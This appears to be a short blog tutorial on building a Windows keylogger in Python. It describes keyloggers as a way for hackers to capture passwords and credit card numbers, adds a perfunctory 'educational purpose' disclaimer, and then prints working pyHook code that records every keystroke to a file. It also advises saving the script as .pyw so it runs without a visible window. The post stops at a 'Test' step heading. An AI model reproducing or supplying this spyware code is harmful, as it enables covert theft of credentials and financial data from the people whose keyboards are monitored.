Keyloggers are activity-monitoring software programs that give hackers access to your personal data. The passwords and credit card numbers you type, the webpages you visit – all by logging your keyboard strokes. The software is installed on your computer and records everything you type.
Steps to create a keylogger:
Disclaimer: The information provided below is just for educational purpose. Any harm induced shall not be my responsiblity.
Step 1: Installing Python...
Unless you already downloaded my file with the keylogger pre-compiled (skip to step 4), you must install Python and some modules. Download and install the following:
Step 2: Creating the Code...
Once you have all of the python stuff installed, open up idle and create a new script. Then enter in the following code:
import pyHook, pythoncom, sys, logging
# feel free to set the file_log to a different file name/location
file_log = 'keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Then save it as something.pyw
Step 3: Test...


No comments:
Post a Comment